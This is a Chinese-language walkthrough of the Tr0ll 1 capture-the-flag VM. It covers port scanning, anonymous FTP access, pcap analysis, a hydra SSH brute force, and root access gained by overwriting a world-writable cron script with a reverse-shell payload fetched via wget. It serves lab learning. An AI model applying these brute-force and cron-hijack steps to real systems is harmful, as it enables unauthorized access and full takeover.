Tr0ll 1 Walkthrough

Box Info

官网在这里:Tr0ll: 1

image-20250408213128372

The Hack

确定存活的主机

sudo nmap -sn 192.168.186.0/24

image-20250407222604729

对目标 IP 进行端口发现

sudo nmap -p- 192.168.186.147

image-20250407222459388

对开放的端口进行应用版本发现

sudo nmap -p 21,22,80 -A 192.168.186.147

发现 FTP、SSH 和 HTTP 服务

image-20250407222343340

先来看 FTP 端口,使用 FTP 客户端连接,使用 anonymous/password 进行匿名登陆

┌──(kali㉿kali)-[~]
└─$ ftp 192.168.186.147
Name (192.168.186.147:kali): Anonymous
Password:password

image-20250407222801818

使用 ls 列举文件,发现 pcap 文件,下载至本地

ls
get lol.pcap

image-20250407222958945

使用 wireshark 打开 pcap 文件,发现是 10.0.0.6 和 10.0.0.12 之间的交互,以下是 10.0.0.6 发送的所有请求

USER anonymous
PASS password
SYST
PORT 10,0,0,12,173,198
LIST
TYPE I
PORT 10,0,0,12,202,172
RETR secret_stuff.txt
TYPE A
PORT 10,0,0,12,172,74
LIST
QUIT

10.0.0.6 使用 TYPE I 设置传输模式为二进制模式后,使用 PORT 命令主动连接 10.0.0.12 的 51884 端口进行数据传输,下载 secret_stuff.txt 文件

在 wireshark 读取到 secret_stuff.txt 文件内容

image-20250408145924485

意思是很接近 sup3rs3cr3tdirlol 目录了,直接访问,发现可疑文件

image-20250408150109374

下载至本地,赋予可执行权限并执行

chmod +x roflmao
./roflmao

显示了个地址没让我们进一步访问

image-20250408150307991

发现两个文件夹

image-20250408150352031

good_luck 中存放的是用户名

image-20250408150423470

this_folder_contains_the_password 存放的是 Pass.txt

image-20250408150513268

image-20250408150527343

由于存在 FTP 和 SSH 两个服务可以使用用户名登陆,先尝试 FTP

nc -nv 192.168.186.147 21
USER genphlux

FTP 服务端只允许 anonymous 登陆,看来用户名字典是属于 SSH 服务的

┌──(kali㉿kali)-[~/Desktop]
└─$ nc -nv 192.168.186.147 21
(UNKNOWN) [192.168.186.147] 21 (ftp) open
220 (vsFTPd 3.0.2)
USER genphlux
530 This FTP server is anonymous only.

Good_job_:) 存储在 pass.txt 中,使用 hydra 爆破 SSH 密码

hydra -L user.txt -P pass.txt -f -t 2 -Vv ssh://192.168.186.147

发现最后一个连接被拒绝,看起来服务端对 SSH 的请求数量做了限制

image-20250408151424196

由于用户名刚好是 10 个,将它们分成 user1 和 user2 ,再分别进行爆破,结果还是一样

试来试去都不行,唯一没试过的就是 Pass.txt 这个文件名当作密码

hydra -L user.txt -p Pass.txt 192.168.186.147 ssh

结果密码还真是 Pass.txt ,有点脑洞

image-20250408153754020

使用 SSH 远程登录

image-20250408160921699

接下来就是提权,枚举一遍后,发现如下权限为 777 的文件:

$ find / -perm 777 -type f 2>/dev/null
/srv/ftp/lol.pcap
/var/tmp/cleaner.py.swp
/var/www/html/sup3rs3cr3tdirlol/roflmao
/var/log/cronlog
/lib/log/cleaner.py

在 /var/log/cronlog 中可以发现 /lib/log/cleaner.py 文件的调度任务

$ cat /var/log/cronlog
*/2 * * * * cleaner.py

读取 /lib/log/cleaner.py 文件,发现是定期删除 /tmp 目录下文件

$ cat /lib/log/cleaner.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()

在本机制作 cleaner.py ,将反弹 shell 语句写入,通过 http 服务上传并覆盖 /lib/log/cleaner.py

wget http://<IP>/cleaner.py -O /lib/log/cleaner.py

image-20250408161320240

开启 nc 监听,一会后就能获得反弹回来的 root shell ,并获得 proof.txt

image-20250408161529607